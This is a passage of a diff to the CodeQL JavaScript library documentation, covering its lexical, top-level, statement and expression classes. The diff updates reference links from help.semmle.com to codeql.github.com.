``Comment.getNumLines()`` returns the number of lines in the comment. -- ``Comment.getNextToken()`` returns the token immediately following a comment. Note that such a token always exists: if a comment appears at the end of a file, its following token is an `EOFToken <https://help.semmle.com/qldoc/javascript/semmle/javascript/Tokens.qll/type.Tokens$EOFToken.html>`__. +- ``Comment.getNextToken()`` returns the token immediately following a comment. Note that such a token always exists: if a comment appears at the end of a file, its following token is an `EOFToken <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Tokens.qll/type.Tokens$EOFToken.html>`__. As an example of a query using only lexical information, consider the following query for finding HTML comments, which are not a standard ECMAScript feature and should be avoided: @@ -186,7 +186,7 @@ Syntactic level The majority of classes in the JavaScript library is concerned with representing a JavaScript program as a collection of `abstract syntax trees <http://en.wikipedia.org/wiki/Abstract_syntax_tree>`__ (ASTs). -The class `ASTNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/AST.qll/type.AST$ASTNode.html>`__ contains all entities representing nodes in the abstract syntax trees and defines generic tree traversal predicates: +The class `ASTNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/type.AST$ASTNode.html>`__ contains all entities representing nodes in the abstract syntax trees and defines generic tree traversal predicates: - ``ASTNode.getChild(i)``: returns the ``i``\ th child of this AST node. - ``ASTNode.getAChild()``: returns any child of this AST node. @@ -201,25 +201,25 @@ The class `ASTNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/A Top-levels ^^^^^^^^^^ -From a syntactic point of view, each JavaScript program is composed of one or more top-level code blocks (or *top-levels* for short), which are blocks of JavaScript code that do not belong to a larger code block. Top-levels are represented by the class `TopLevel <https://help.semmle.com/qldoc/javascript/semmle/javascript/AST.qll/type.AST$TopLevel.html>`__ and its subclasses: +From a syntactic point of view, each JavaScript program is composed of one or more top-level code blocks (or *top-levels* for short), which are blocks of JavaScript code that do not belong to a larger code block. Top-levels are represented by the class `TopLevel <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/type.AST$TopLevel.html>`__ and its subclasses: -- `TopLevel <https://help.semmle.com/qldoc/javascript/semmle/javascript/AST.qll/type.AST$TopLevel.html>`__ +- `TopLevel <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/type.AST$TopLevel.html>`__ - - `Script <https://help.semmle.com/qldoc/javascript/semmle/javascript/AST.qll/type.AST$Script.html>`__: a stand-alone file or HTML ``<script>`` element + - `Script <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/type.AST$Script.html>`__: a stand-alone file or HTML ``<script>`` element - - `ExternalScript <https://help.semmle.com/qldoc/javascript/semmle/javascript/AST.qll/type.AST$ExternalScript.html>`__: a stand-alone JavaScript file - - `InlineScript <https://help.semmle.com/qldoc/javascript/semmle/javascript/AST.qll/type.AST$InlineScript.html>`__: code embedded inline in an HTML ``<script>`` tag + - `ExternalScript <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/type.AST$ExternalScript.html>`__: a stand-alone JavaScript file + - `InlineScript <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/type.AST$InlineScript.html>`__: code embedded inline in an HTML ``<script>`` tag - - `CodeInAttribute <https://help.semmle.com/qldoc/javascript/semmle/javascript/AST.qll/type.AST$CodeInAttribute.html>`__: a code block originating from an HTML attribute value + - `CodeInAttribute <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/type.AST$CodeInAttribute.html>`__: a code block originating from an HTML attribute value - - `EventHandlerCode <https://help.semmle.com/qldoc/javascript/semmle/javascript/AST.qll/type.AST$EventHandlerCode.html>`__: code from an event handler attribute such as ``onload`` - - `JavaScriptURL <https://help.semmle.com/qldoc/javascript/semmle/javascript/AST.qll/type.AST$JavaScriptURL.html>`__: code from a URL with the ``javascript:`` scheme + - `EventHandlerCode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/type.AST$EventHandlerCode.html>`__: code from an event handler attribute such as ``onload`` + - `JavaScriptURL <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/type.AST$JavaScriptURL.html>`__: code from a URL with the ``javascript:`` scheme - - `Externs <https://help.semmle.com/qldoc/javascript/semmle/javascript/AST.qll/type.AST$Externs.html>`__: a JavaScript file containing `externs <https://developers.google.com/closure/compiler/docs/api-tutorial3#externs>`__ definitions + - `Externs <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/type.AST$Externs.html>`__: a JavaScript file containing `externs <https://developers.google.com/closure/compiler/docs/api-tutorial3#externs>`__ definitions -Every `TopLevel <https://help.semmle.com/qldoc/javascript/semmle/javascript/AST.qll/type.AST$TopLevel.html>`__ class is contained in a `File <https://help.semmle.com/qldoc/javascript/semmle/javascript/Files.qll/type.Files$File.html>`__ class, but a single `File <https://help.semmle.com/qldoc/javascript/semmle/javascript/Files.qll/type.Files$File.html>`__ may contain more than one `TopLevel <https://help.semmle.com/qldoc/javascript/semmle/javascript/AST.qll/type.AST$TopLevel.html>`__. To go from a ``TopLevel tl`` to its `File <https://help.semmle.com/qldoc/javascript/semmle/javascript/Files.qll/type.Files$File.html>`__, use ``tl.getFile()``; conversely, for a ``File f``, predicate ``f.getATopLevel()`` returns a top-level contained in ``f``. For every AST node, predicate ``ASTNode.getTopLevel()`` can be used to find the top-level it belongs to. +Every `TopLevel <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/type.AST$TopLevel.html>`__ class is contained in a `File <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Files.qll/type.Files$File.html>`__ class, but a single `File <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Files.qll/type.Files$File.html>`__ may contain more than one `TopLevel <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/type.AST$TopLevel.html>`__. To go from a ``TopLevel tl`` to its `File <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Files.qll/type.Files$File.html>`__, use ``tl.getFile()``; conversely, for a ``File f``, predicate ``f.getATopLevel()`` returns a top-level contained in ``f``. For every AST node, predicate ``ASTNode.getTopLevel()`` can be used to find the top-level it belongs to. -The `TopLevel <https://help.semmle.com/qldoc/javascript/semmle/javascript/AST.qll/type.AST$TopLevel.html>`__ class additionally provides the following member predicates: +The `TopLevel <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/type.AST$TopLevel.html>`__ class additionally provides the following member predicates: - ``TopLevel.getNumberOfLines()`` returns the total number of lines (including code, comments and whitespace) in the top-level. - ``TopLevel.getNumberOfLinesOfCode()`` returns the number of lines of code, that is, lines that contain at least one token. @@ -235,111 +235,111 @@ The `TopLevel <https://help.semmle.com/qldoc/javascript/semmle/javascript/AST.ql Statements and expressions ^^^^^^^^^^^^^^^^^^^^^^^^^^ -The most important subclasses of `ASTNode <https://help.semmle.com/qldoc/javascript/semmle/javascript/AST.qll/type.AST$ASTNode.html>`__ besides `TopLevel <https://help.semmle.com/qldoc/javascript/semmle/javascript/AST.qll/type.AST$TopLevel.html>`__ are `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__ and `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__, which, together with their subclasses, represent statements and expressions, respectively. This section briefly discusses some of the more important classes and predicates. For a full reference of all the subclasses of `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__ and `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ and their API, see -`Stmt.qll <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/module.Stmt.html>`__ and `Expr.qll <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/module.Expr.html>`__. +The most important subclasses of `ASTNode <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/type.AST$ASTNode.html>`__ besides `TopLevel <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/AST.qll/type.AST$TopLevel.html>`__ are `Stmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__ and `Expr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__, which, together with their subclasses, represent statements and expressions, respectively. This section briefly discusses some of the more important classes and predicates. For a full reference of all the subclasses of `Stmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__ and `Expr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__ and their API, see +`Stmt.qll <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/module.Stmt.html>`__ and `Expr.qll <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/module.Expr.html>`__. -- `Stmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__: use ``Stmt.getContainer()`` to access the innermost function or top-level in which the statement is contained. +- `Stmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html>`__: use ``Stmt.getContainer()`` to access the innermost function or top-level in which the statement is contained. - - `ControlStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ControlStmt.html>`__: a statement that controls the execution of other statements, that is, a conditional, loop, ``try`` or ``with`` statement; use ``ControlStmt.getAControlledStmt()`` to access the statements that it controls. + - `ControlStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$ControlStmt.html>`__: a statement that controls the execution of other statements, that is, a conditional, loop, ``try`` or ``with`` statement; use ``ControlStmt.getAControlledStmt()`` to access the statements that it controls. - - `IfStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$IfStmt.html>`__: an ``if`` statement; use ``IfStmt.getCondition()``, ``IfStmt.getThen()`` and ``IfStmt.getElse()`` to access its condition expression, "then" branch and "else" branch, respectively. - - `LoopStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$LoopStmt.html>`__: a loop; use ``Loop.getBody()`` and ``Loop.getTest()`` to access its body and its test expression, respectively. + - `IfStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$IfStmt.html>`__: an ``if`` statement; use ``IfStmt.getCondition()``, ``IfStmt.getThen()`` and ``IfStmt.getElse()`` to access its condition expression, "then" branch and "else" branch, respectively. + - `LoopStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$LoopStmt.html>`__: a loop; use ``Loop.getBody()`` and ``Loop.getTest()`` to access its body and its test expression, respectively. - - `WhileStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$WhileStmt.html>`__, `DoWhileStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$DoWhileStmt.html>`__: a "while" or "do-while" loop, respectively. - - `ForStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ForStmt.html>`__: a "for" statement; use ``ForStmt.getInit()`` and ``ForStmt.getUpdate()`` to access the init and update expressions, respectively. - - `EnhancedForLoop <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$EnhancedForLoop.html>`__: a "for-in" or "for-of" loop; use ``EnhancedForLoop.getIterator()`` to access the loop iterator (which may be a expression or variable declaration), and ``EnhancedForLoop.getIterationDomain()`` to access the expression being iterated over. + - `WhileStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$WhileStmt.html>`__, `DoWhileStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$DoWhileStmt.html>`__: a "while" or "do-while" loop, respectively. + - `ForStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$ForStmt.html>`__: a "for" statement; use ``ForStmt.getInit()`` and ``ForStmt.getUpdate()`` to access the init and update expressions, respectively. + - `EnhancedForLoop <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$EnhancedForLoop.html>`__: a "for-in" or "for-of" loop; use ``EnhancedForLoop.getIterator()`` to access the loop iterator (which may be a expression or variable declaration), and ``EnhancedForLoop.getIterationDomain()`` to access the expression being iterated over. - - `ForInStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ForInStmt.html>`__, `ForOfStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ForOfStmt.html>`__: a "for-in" or "for-of" loop, respectively. + - `ForInStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$ForInStmt.html>`__, `ForOfStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$ForOfStmt.html>`__: a "for-in" or "for-of" loop, respectively. - - `WithStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$WithStmt.html>`__: a "with" statement; use ``WithStmt.getExpr()`` and ``WithStmt.getBody()`` to access the controlling expression and the body of the with statement, respectively. - - `SwitchStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$SwitchStmt.html>`__: a switch statement; use ``SwitchStmt.getExpr()`` to access the expression on which the statement switches; use ``SwitchStmt.getCase(int)`` and ``SwitchStmt.getACase()`` to access individual switch cases; each case is modeled by an entity of class `Case <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$Case.html>`__, whose member predicates ``Case.getExpr()`` and ``Case.getBodyStmt(int)`` provide access to the expression checked by the switch case (which is undefined for ``default``), and its body. - - `TryStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$TryStmt.html>`__: a "try" statement; use ``TryStmt.getBody()``, ``TryStmt.getCatchClause()`` and ``TryStmt.getFinally`` to access its body, "catch" clause and "finally" block, respectively. + - `WithStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$WithStmt.html>`__: a "with" statement; use ``WithStmt.getExpr()`` and ``WithStmt.getBody()`` to access the controlling expression and the body of the with statement, respectively. + - `SwitchStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$SwitchStmt.html>`__: a switch statement; use ``SwitchStmt.getExpr()`` to access the expression on which the statement switches; use ``SwitchStmt.getCase(int)`` and ``SwitchStmt.getACase()`` to access individual switch cases; each case is modeled by an entity of class `Case <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$Case.html>`__, whose member predicates ``Case.getExpr()`` and ``Case.getBodyStmt(int)`` provide access to the expression checked by the switch case (which is undefined for ``default``), and its body. + - `TryStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$TryStmt.html>`__: a "try" statement; use ``TryStmt.getBody()``, ``TryStmt.getCatchClause()`` and ``TryStmt.getFinally`` to access its body, "catch" clause and "finally" block, respectively. - - `BlockStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$BlockStmt.html>`__: a block of statements; use ``BlockStmt.getStmt(int)`` to access the individual statements in the block. - - `ExprStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ExprStmt.html>`__: an expression statement; use ``ExprStmt.getExpr()`` to access the expression itself. - - `JumpStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$JumpStmt.html>`__: a statement that disrupts structured control flow, that is, one of ``break``, ``continue``, ``return`` and ``throw``; use predicate ``JumpStmt.getTarget()`` to determine the target of the jump, which is either a statement or (for ``return`` and uncaught ``throw`` statements) the enclosing function. + - `BlockStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$BlockStmt.html>`__: a block of statements; use ``BlockStmt.getStmt(int)`` to access the individual statements in the block. + - `ExprStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$ExprStmt.html>`__: an expression statement; use ``ExprStmt.getExpr()`` to access the expression itself. + - `JumpStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$JumpStmt.html>`__: a statement that disrupts structured control flow, that is, one of ``break``, ``continue``, ``return`` and ``throw``; use predicate ``JumpStmt.getTarget()`` to determine the target of the jump, which is either a statement or (for ``return`` and uncaught ``throw`` statements) the enclosing function. - - `BreakStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$BreakStmt.html>`__: a "break" statement; use ``BreakStmt.getLabel()`` to access its (optional) target label. - - `ContinueStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ContinueStmt.html>`__: a "continue" statement; use ``ContinueStmt.getLabel()`` to access its (optional) target label. - - `ReturnStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ReturnStmt.html>`__: a "return" statement; use ``ReturnStmt.getExpr()`` to access its (optional) result expression. - - `ThrowStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ThrowStmt.html>`__: a "throw" statement; use ``ThrowStmt.getExpr()`` to access its thrown expression. + - `BreakStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$BreakStmt.html>`__: a "break" statement; use ``BreakStmt.getLabel()`` to access its (optional) target label. + - `ContinueStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$ContinueStmt.html>`__: a "continue" statement; use ``ContinueStmt.getLabel()`` to access its (optional) target label. + - `ReturnStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$ReturnStmt.html>`__: a "return" statement; use ``ReturnStmt.getExpr()`` to access its (optional) result expression. + - `ThrowStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$ThrowStmt.html>`__: a "throw" statement; use ``ThrowStmt.getExpr()`` to access its thrown expression. - - `FunctionDeclStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$FunctionDeclStmt.html>`__: a function declaration statement; see below for available member predicates. - - `ClassDeclStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Classes.qll/type.Classes$ClassDeclStmt.html>`__: a class declaration statement; see below for available member predicates. - - `DeclStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$DeclStmt.html>`__: a declaration statement containing one or more declarators which can be accessed by predicate ``DeclStmt.getDeclarator(int)``. + - `FunctionDeclStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$FunctionDeclStmt.html>`__: a function declaration statement; see below for available member predicates. + - `ClassDeclStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Classes.qll/type.Classes$ClassDeclStmt.html>`__: a class declaration statement; see below for available member predicates. + - `DeclStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$DeclStmt.html>`__: a declaration statement containing one or more declarators which can be accessed by predicate ``DeclStmt.getDeclarator(int)``. - - `VarDeclStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$VarDeclStmt.html>`__, `ConstDeclStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$ConstDeclStmt.html>`__, `LetStmt <https://help.semmle.com/qldoc/javascript/semmle/javascript/Stmt.qll/type.Stmt$LetStmt.html>`__: a ``var``, ``const`` or ``let`` declaration statement. + - `VarDeclStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$VarDeclStmt.html>`__, `ConstDeclStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$ConstDeclStmt.html>`__, `LetStmt <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$LetStmt.html>`__: a ``var``, ``const`` or ``let`` declaration statement. -- `Expr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__: use ``Expr.getEnclosingStmt()`` to obtain the innermost statement to which this expression belongs; ``Expr.isPure()`` determines whether the expression is side-effect-free. +- `Expr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html>`__: use ``Expr.getEnclosingStmt()`` to obtain the innermost statement to which this expression belongs; ``Expr.isPure()`` determines whether the expression is side-effect-free. - - `Identifier <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html>`__: an identifier; use ``Identifier.getName()`` to obtain its name. - - `Literal <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Literal.html>`__: a literal value; use ``Literal.getValue()`` to obtain a string representation of its value, and ``Literal.getRawValue()`` to obtain its raw source text (including surrounding quotes for string literals). + - `Identifier <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Identifier.html>`__: an identifier; use ``Identifier.getName()`` to obtain its name. + - `Literal <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Literal.html>`__: a literal value; use ``Literal.getValue()`` to obtain a string representation of its value, and ``Literal.getRawValue()`` to obtain its raw source text (including surrounding quotes for string literals). - - `NullLiteral <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$NullLiteral.html>`__, `BooleanLiteral <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$BooleanLiteral.html>`__, `NumberLiteral <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$NumberLiteral.html>`__, `StringLiteral <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$StringLiteral.html>`__, `RegExpLiteral <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$RegExpLiteral.html>`__: different kinds of literals. + - `NullLiteral <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$NullLiteral.html>`__, `BooleanLiteral <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$BooleanLiteral.html>`__, `NumberLiteral <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$NumberLiteral.html>`__, `StringLiteral <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$StringLiteral.html>`__, `RegExpLiteral <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$RegExpLiteral.html>`__: different kinds of literals. - - `ThisExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$ThisExpr.html>`__: a "this" expression. - - `SuperExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Classes.qll/type.Classes$SuperExpr.html>`__: a "super" expression. - - `ArrayExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$ArrayExpr.html>`__: an array expression; use ``ArrayExpr.getElement(i)`` to obtain the ``i``\ th element expression, and ``ArrayExpr.elementIsOmitted(i)`` to check whether the ``i``\ th element is omitted. - - `ObjectExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$ObjectExpr.html>`__: an object expression; use ``ObjectExpr.getProperty(i)`` to obtain the ``i``\ th property in the object expression; properties are modeled by class `Property <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$Property.html>`__, which is described in more detail below. - - `FunctionExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$FunctionExpr.html>`__: a function expression; see below for available member predicates. - - `ArrowFunctionExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$ArrowFunctionExpr.html>`__: an ECMAScript 2015-style arrow function expression; see below for available member predicates. - - `ClassExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Classes.qll/type.Classes$ClassExpr.html>`__: a class expression; see below for available member predicates. - - `ParExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$ParExpr.html>`__: a parenthesized expression; use ``ParExpr.getExpression()`` to obtain the operand expression; for any expression, ``Expr.stripParens()`` can be used to recursively strip off any parentheses - - `SeqExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$SeqExpr.html>`__: a sequence of two or more expressions connected by the comma operator; use ``SeqExpr.getOperand(i)`` to obtain the ``i``\ th sub-expression. - - `ConditionalExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$ConditionalExpr.html>`__: a ternary conditional expression; member predicates ``ConditionalExpr.getCondition()``, ``ConditionalExpr.getConsequent()`` and ``ConditionalExpr.getAlternate()`` provide access to the condition expression, the "then" expression and the "else" expression, respectively. - - `InvokeExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$InvokeExpr.html>`__: a function call or a "new" expression; use ``InvokeExpr.getCallee()`` to obtain the expression specifying the function to be called, and ``InvokeExpr.getArgument(i)`` to obtain the ``i``\ th argument expression. + - `ThisExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$ThisExpr.html>`__: a "this" expression. + - `SuperExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Classes.qll/type.Classes$SuperExpr.html>`__: a "super" expression. + - `ArrayExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$ArrayExpr.html>`__: an array expression; use ``ArrayExpr.getElement(i)`` to obtain the ``i``\ th element expression, and ``ArrayExpr.elementIsOmitted(i)`` to check whether the ``i``\ th element is omitted. + - `ObjectExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$ObjectExpr.html>`__: an object expression; use ``ObjectExpr.getProperty(i)`` to obtain the ``i``\ th property in the object expression; properties are modeled by class `Property <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Property.html>`__, which is described in more detail below. + - `FunctionExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$FunctionExpr.html>`__: a function expression; see below for available member predicates. + - `ArrowFunctionExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$ArrowFunctionExpr.html>`__: an ECMAScript 2015-style arrow function expression; see below for available member predicates. + - `ClassExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Classes.qll/type.Classes$ClassExpr.html>`__: a class expression; see below for available member predicates. + - `ParExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$ParExpr.html>`__: a parenthesized expression; use ``ParExpr.getExpression()`` to obtain the operand expression; for any expression, ``Expr.stripParens()`` can be used to recursively strip off any parentheses + - `SeqExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$SeqExpr.html>`__: a sequence of two or more expressions connected by the comma operator; use ``SeqExpr.getOperand(i)`` to obtain the ``i``\ th sub-expression. + - `ConditionalExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$ConditionalExpr.html>`__: a ternary conditional expression; member predicates ``ConditionalExpr.getCondition()``, ``ConditionalExpr.getConsequent()`` and ``ConditionalExpr.getAlternate()`` provide access to the condition expression, the "then" expression and the "else" expression, respectively. + - `InvokeExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$InvokeExpr.html>`__: a function call or a "new" expression; use ``InvokeExpr.getCallee()`` to obtain the expression specifying the function to be called, and ``InvokeExpr.getArgument(i)`` to obtain the ``i``\ th argument expression. - - `CallExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$CallExpr.html>`__: a function call. - - `NewExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$NewExpr.html>`__: a "new" expression. - - `MethodCallExpr <https://help.semmle.com/qldoc/javascript/semmle/javascript/Expr.qll/type.Expr$MethodCallExpr.html>`__: a function call whose callee expression is a property access; use ``MethodCallExpr.getReceiver`` to access the receiver expression of the method call, and ``MethodCallExpr.getMethodName()`` to get the method name (if it can be determined statically). + - `CallExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$CallExpr.html>`__: a function call. + - `NewExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$NewExpr.html>`__: a "new" expression. + - `MethodCallExpr <https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$MethodCallExpr.html>`__: a function call whose callee expression is a property access; use ``MethodCallExpr.getReceiver`` to access the receiver expression of the method call, and ``MethodCallExpr.getMethodName()`` to get the method name (if it can be determined statically). - - `PropAccess 